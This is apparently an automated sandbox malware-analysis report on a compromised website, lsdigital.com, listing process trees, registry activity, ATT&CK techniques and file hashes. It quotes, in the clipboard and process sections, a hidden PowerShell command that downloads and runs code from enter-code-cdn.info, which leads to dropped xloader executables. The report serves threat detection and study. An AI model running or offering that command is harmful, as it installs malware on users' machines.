hxxps://www[.]lsdigital[.]com/

Analysis

user interaction
yes
max time kernel
269s
max time network
274s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
31/07/2026, 03:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
https://www.lsdigital.com/
Sample260731-d5slwsvycx

Score

8^/10

discovery persistence privilege_escalation

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
240	5996	powershell.exe
241	5996	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
241	5996	powershell.exe

Executes dropped EXE 5 IoCs

pid	Process
2716	qoh0u1pr.zba.exe
5244	xloader.exe
940	xloader.exe
2320	xloader.exe
5792	xloader.exe

Suspicious clipboard content. 2 IoCs

A suspicious script was copied to clipboard.

ioc	Process
powershell -w h "iex(irm 'enter-code-cdn.info/2e58a83fb4cd7d75' -UseBasicParsing)"; exit <#2e58a83fb4cd7d75#>	chrome.exe
powershell -w h "iex(irm 'enter-code-cdn.info/2e58a83fb4cd7d75' -UseBasicParsing)"; exit <#2e58a83fb4cd7d75#>	chrome.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Event Triggered Execution: Accessibility Features 1 TTPs
Windows contains accessibility features that may be used by adversaries to establish persistence and/or elevate privileges.
persistence privilege_escalation

Accessibility Features
T1546.008

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qoh0u1pr.zba.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4680	chrome.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134299425791255037"	chrome.exe

Modifies registry class 6 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\DisplayName = "Chrome Sandbox"	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\Moniker = "cr.sb.odm3E4D1A088C1F6D498C84F3C86DE73CE49F82A104"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\Children	chrome.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-876885714-46325919-1482798410-1000\{FDA135A4-31E9-4BC0-B2BA-850BA4C5E340}	chrome.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	241	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 15 IoCs

pid	Process
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
5632	chrome.exe
5632	chrome.exe
5740	powershell.exe
5740	powershell.exe
5740	powershell.exe
5996	powershell.exe
5996	powershell.exe
5996	powershell.exe
2660	powershell.exe
2660	powershell.exe
2660	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5372	osk.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

pid	Process
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2168	chrome.exe
Token: SeCreatePagefilePrivilege	2168	chrome.exe
Token: SeShutdownPrivilege	2168	chrome.exe
Token: SeCreatePagefilePrivilege	2168	chrome.exe
Token: SeShutdownPrivilege	2168	chrome.exe
Token: SeCreatePagefilePrivilege	2168	chrome.exe
Token: SeShutdownPrivilege	2168	chrome.exe
Token: SeCreatePagefilePrivilege	2168	chrome.exe
Token: SeShutdownPrivilege	2168	chrome.exe
Token: SeCreatePagefilePrivilege	2168	chrome.exe
Token: SeShutdownPrivilege	2168	chrome.exe
Token: SeCreatePagefilePrivilege	2168	chrome.exe
Token: SeShutdownPrivilege	2168	chrome.exe
Token: SeCreatePagefilePrivilege	2168	chrome.exe
Token: SeShutdownPrivilege	2168	chrome.exe
Token: SeCreatePagefilePrivilege	2168	chrome.exe
Token: SeShutdownPrivilege	2168	chrome.exe
Token: SeCreatePagefilePrivilege	2168	chrome.exe
Token: SeShutdownPrivilege	2168	chrome.exe
Token: SeCreatePagefilePrivilege	2168	chrome.exe
Token: SeShutdownPrivilege	2168	chrome.exe
Token: SeCreatePagefilePrivilege	2168	chrome.exe
Token: SeShutdownPrivilege	2168	chrome.exe
Token: SeCreatePagefilePrivilege	2168	chrome.exe
Token: SeShutdownPrivilege	2168	chrome.exe
Token: SeCreatePagefilePrivilege	2168	chrome.exe
Token: SeShutdownPrivilege	2168	chrome.exe
Token: SeCreatePagefilePrivilege	2168	chrome.exe
Token: SeShutdownPrivilege	2168	chrome.exe
Token: SeCreatePagefilePrivilege	2168	chrome.exe
Token: SeShutdownPrivilege	2168	chrome.exe
Token: SeCreatePagefilePrivilege	2168	chrome.exe
Token: SeShutdownPrivilege	2168	chrome.exe
Token: SeCreatePagefilePrivilege	2168	chrome.exe
Token: SeShutdownPrivilege	2168	chrome.exe
Token: SeCreatePagefilePrivilege	2168	chrome.exe
Token: SeShutdownPrivilege	2168	chrome.exe
Token: SeCreatePagefilePrivilege	2168	chrome.exe
Token: SeShutdownPrivilege	2168	chrome.exe
Token: SeCreatePagefilePrivilege	2168	chrome.exe
Token: SeShutdownPrivilege	2168	chrome.exe
Token: SeCreatePagefilePrivilege	2168	chrome.exe
Token: SeShutdownPrivilege	2168	chrome.exe
Token: SeCreatePagefilePrivilege	2168	chrome.exe
Token: SeShutdownPrivilege	2168	chrome.exe
Token: SeCreatePagefilePrivilege	2168	chrome.exe
Token: SeShutdownPrivilege	2168	chrome.exe
Token: SeCreatePagefilePrivilege	2168	chrome.exe
Token: SeShutdownPrivilege	2168	chrome.exe
Token: SeCreatePagefilePrivilege	2168	chrome.exe
Token: SeShutdownPrivilege	2168	chrome.exe
Token: SeCreatePagefilePrivilege	2168	chrome.exe
Token: SeShutdownPrivilege	2168	chrome.exe
Token: SeCreatePagefilePrivilege	2168	chrome.exe
Token: SeShutdownPrivilege	2168	chrome.exe
Token: SeCreatePagefilePrivilege	2168	chrome.exe
Token: SeShutdownPrivilege	2168	chrome.exe
Token: SeCreatePagefilePrivilege	2168	chrome.exe
Token: SeShutdownPrivilege	2168	chrome.exe
Token: SeCreatePagefilePrivilege	2168	chrome.exe
Token: SeShutdownPrivilege	2168	chrome.exe
Token: SeCreatePagefilePrivilege	2168	chrome.exe
Token: SeShutdownPrivilege	2168	chrome.exe
Token: SeCreatePagefilePrivilege	2168	chrome.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe
2168	chrome.exe

Suspicious use of SetWindowsHookEx 22 IoCs

pid	Process
5372	osk.exe
5372	osk.exe
5372	osk.exe
5372	osk.exe
5372	osk.exe
5372	osk.exe
5372	osk.exe
5372	osk.exe
5372	osk.exe
5372	osk.exe
5372	osk.exe
5372	osk.exe
5372	osk.exe
5372	osk.exe
5372	osk.exe
5372	osk.exe
5372	osk.exe
5372	osk.exe
5372	osk.exe
5372	osk.exe
5372	osk.exe
5372	osk.exe

Suspicious use of WriteProcessMemory 32 IoCs

description	pid	Process	procid_target
PID 2168 wrote to memory of 2060	2168	chrome.exe	87
PID 2168 wrote to memory of 3716	2168	chrome.exe	88
PID 2168 wrote to memory of 3716	2168	chrome.exe	88
PID 2168 wrote to memory of 4680	2168	chrome.exe	89
PID 2168 wrote to memory of 1044	2168	chrome.exe	90
PID 2168 wrote to memory of 1044	2168	chrome.exe	90
PID 2168 wrote to memory of 912	2168	chrome.exe	92
PID 2168 wrote to memory of 912	2168	chrome.exe	92
PID 2168 wrote to memory of 2044	2168	chrome.exe	93
PID 2168 wrote to memory of 2044	2168	chrome.exe	93
PID 2168 wrote to memory of 4084	2168	chrome.exe	94
PID 2168 wrote to memory of 4084	2168	chrome.exe	94
PID 2168 wrote to memory of 4644	2168	chrome.exe	95
PID 2168 wrote to memory of 4732	2168	chrome.exe	96
PID 2168 wrote to memory of 4644	2168	chrome.exe	95
PID 2168 wrote to memory of 1540	2168	chrome.exe	97
PID 2168 wrote to memory of 1540	2168	chrome.exe	97
PID 2168 wrote to memory of 4380	2168	chrome.exe	98
PID 2168 wrote to memory of 4380	2168	chrome.exe	98
PID 2168 wrote to memory of 4832	2168	chrome.exe	99
PID 2168 wrote to memory of 4924	2168	chrome.exe	103
PID 2168 wrote to memory of 2908	2168	chrome.exe	104
PID 2168 wrote to memory of 4160	2168	chrome.exe	105
PID 2168 wrote to memory of 1956	2168	chrome.exe	112
PID 2168 wrote to memory of 1956	2168	chrome.exe	112
PID 5324 wrote to memory of 5372	5324	ATBroker.exe	122
PID 2168 wrote to memory of 5632	2168	chrome.exe	124
PID 5740 wrote to memory of 5996	5740	powershell.exe	127
PID 5996 wrote to memory of 2716	5996	powershell.exe	128
PID 5996 wrote to memory of 5244	5996	powershell.exe	129
PID 2168 wrote to memory of 5344	2168	chrome.exe	130
PID 2168 wrote to memory of 5344	2168	chrome.exe	130

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://www.lsdigital.com/
1⤵
- Suspicious clipboard content.
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2168
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0x8,0x104,0x7ffaf72bc728,0x7ffaf72bc734,0x7ffaf72bc740
  2⤵
  PID:2060
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1680,i,11490524815561182121,2581324367039568828,262144 --field-trial-handle=1992,i,9771878326336772554,7626739519041069938,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1972 /prefetch:2
  2⤵
  PID:3716
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1564,i,5742574140853253855,6016642812066359259,524288 --field-trial-handle=1992,i,9771878326336772554,7626739519041069938,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2272 /prefetch:3
  2⤵
  - System Time Discovery
  PID:4680
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2372,i,8993618906199041749,3988482184347809497,524288 --field-trial-handle=1992,i,9771878326336772554,7626739519041069938,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2384 /prefetch:8
  2⤵
  PID:1044
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3212,i,6478448558588793631,290733341202347662,2097152 --field-trial-handle=1992,i,9771878326336772554,7626739519041069938,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3264 /prefetch:1
  2⤵
  PID:912
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3216,i,7531634113611689819,9938194360739154370,2097152 --field-trial-handle=1992,i,9771878326336772554,7626739519041069938,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3284 /prefetch:1
  2⤵
  PID:2044
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4372,i,1905744602388580113,109110031079378940,2097152 --field-trial-handle=1992,i,9771878326336772554,7626739519041069938,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4400 /prefetch:2
  2⤵
  PID:4084
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --metrics-shmem-handle=4788,i,6073532907109887280,10625519008942463073,524288 --field-trial-handle=1992,i,9771878326336772554,7626739519041069938,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4820 /prefetch:8
  2⤵
  PID:4644
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=4768,i,13582177274293693193,1456698394051221675,524288 --field-trial-handle=1992,i,9771878326336772554,7626739519041069938,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4840 /prefetch:8
  2⤵
  - Modifies registry class
  PID:4732
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5112,i,13292736792656685406,9152452641939266028,2097152 --field-trial-handle=1992,i,9771878326336772554,7626739519041069938,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5080 /prefetch:1
  2⤵
  PID:1540
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5300,i,4237870447932734874,1907272539835500068,2097152 --field-trial-handle=1992,i,9771878326336772554,7626739519041069938,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5284 /prefetch:1
  2⤵
  PID:4380
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=6532,i,16884622940973820682,13320629326036595655,524288 --field-trial-handle=1992,i,9771878326336772554,7626739519041069938,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6540 /prefetch:8
  2⤵
  PID:4832
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5780,i,6899482303383172601,9233187732853037886,524288 --field-trial-handle=1992,i,9771878326336772554,7626739519041069938,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5732 /prefetch:8
  2⤵
  PID:4924
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5764,i,8007077760539151269,3796190575997415090,524288 --field-trial-handle=1992,i,9771878326336772554,7626739519041069938,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=212 /prefetch:8
  2⤵
  PID:2908
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5636,i,12100013124414728089,6811979855025606912,524288 --field-trial-handle=1992,i,9771878326336772554,7626739519041069938,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6476 /prefetch:8
  2⤵
  PID:4160
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=5188,i,9049518089127770459,8777534305334223603,2097152 --field-trial-handle=1992,i,9771878326336772554,7626739519041069938,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5236 /prefetch:1
  2⤵
  PID:1956
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5764,i,334581845689870022,18419198332769913272,262144 --field-trial-handle=1992,i,9771878326336772554,7626739519041069938,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5780 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5632
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --metrics-shmem-handle=4604,i,1077388024844258968,12349035410269674864,524288 --field-trial-handle=1992,i,9771878326336772554,7626739519041069938,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6908 /prefetch:8
  2⤵
  PID:5344

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4884

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:3780

C:\Windows\System32\ATBroker.exe
C:\Windows\System32\ATBroker.exe /start osk
1⤵
- Suspicious use of WriteProcessMemory
PID:5324
- C:\Windows\System32\osk.exe
  "C:\Windows\System32\osk.exe"
  2⤵
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of SetWindowsHookEx
  PID:5372

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x50c 0x4f0
1⤵
PID:5568

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5740
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h "iex(irm 'enter-code-cdn.info/2e58a83fb4cd7d75' -UseBasicParsing)"
  2⤵
  - Badlisted process makes network request
  - Downloads MZ/PE file
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:5996
- - C:\Users\Admin\AppData\Local\Temp\wjoyjinc.hao\qoh0u1pr.zba.exe
    "C:\Users\Admin\AppData\Local\Temp\wjoyjinc.hao\qoh0u1pr.zba.exe" x -y -ppassword1234 -oC:\Users\Admin\AppData\Local\Temp\wjoyjinc.hao\dlbdbjj4.g34 C:\Users\Admin\AppData\Local\Temp\wjoyjinc.hao\pgxvzlpd.0eg.7z
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2716
- - C:\Users\Admin\AppData\Local\Temp\wjoyjinc.hao\dlbdbjj4.g34\xloader.exe
    "C:\Users\Admin\AppData\Local\Temp\wjoyjinc.hao\dlbdbjj4.g34\xloader.exe"
    3⤵
    - Executes dropped EXE
    PID:5244

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:2660

C:\Users\Admin\AppData\Local\Temp\wjoyjinc.hao\dlbdbjj4.g34\xloader.exe
C:\Users\Admin\AppData\Local\Temp\wjoyjinc.hao\dlbdbjj4.g34\xloader.exe
1⤵
- Executes dropped EXE
PID:940

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5208

C:\Users\Admin\AppData\Local\Temp\wjoyjinc.hao\dlbdbjj4.g34\xloader.exe
"C:\Users\Admin\AppData\Local\Temp\wjoyjinc.hao\dlbdbjj4.g34\xloader.exe"
1⤵
- Executes dropped EXE
PID:2320

C:\Users\Admin\AppData\Local\Temp\wjoyjinc.hao\dlbdbjj4.g34\xloader.exe
"C:\Users\Admin\AppData\Local\Temp\wjoyjinc.hao\dlbdbjj4.g34\xloader.exe"
1⤵
- Executes dropped EXE
PID:5792

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Event Triggered Execution

T1546

Accessibility Features

T1546.008

Privilege Escalation

Event Triggered Execution

T1546

Accessibility Features

T1546.008

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
Size 414B
SHA256 3700eeb1b79c51c805fb2d00d8008cefb6ff2eba2127ec24db77bac489ba3444
MD5 25325b0a84c16d8831d155c162c10197
SHA1 0c44557845c12d089cd620f610d1d321d98439c3
SHA512 0131012ef19d2466ed5b9e5852dfaf17cf2176dbda9426f4f22f4bcaf0f3bb51f8aaafeef4e97b2fd0d08d629445ce04bdb32dd27416a19bd5569c702ddaefbb
TLSH
T18FE02BEAC821AC270AF95B2860144646E75103177F91D90F3A3EC60C8FB5A3A4167C2C
MD5 SHA1 SHA512 TLSH

Submit Download

f_000022

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000022
Size 331KB
SHA256 db4ffbf0ec662620013dc14bc1268bdad6256d19d7d511ec7eff8446887e6900
MD5 05ef8155cf66131654d3bb9c9cba5853
SHA1 e79d53fcb604921222dd1dbc2f1c10c631ff6075
SHA512 ee38793245d91683ddb1f847e5b56a09864fd32ec059055459b3ebe101abed79683ee59c80f30b8f6249d2bbd83fbf7bca83dafb4ef2b634ceff6969c80fed23
SSDEEP 6144:FljUD58FLTW53eaLkNv+Ps0dj1fpqaGjYf0NIcB3bM1rJZ24:FDm5uaLcv+PFj7ajJNImbM1rD
TLSH
T1247423A9B50E3C8AC94F9473827EAFD2A4356FF38D47BAA3634241F401874342E4676D
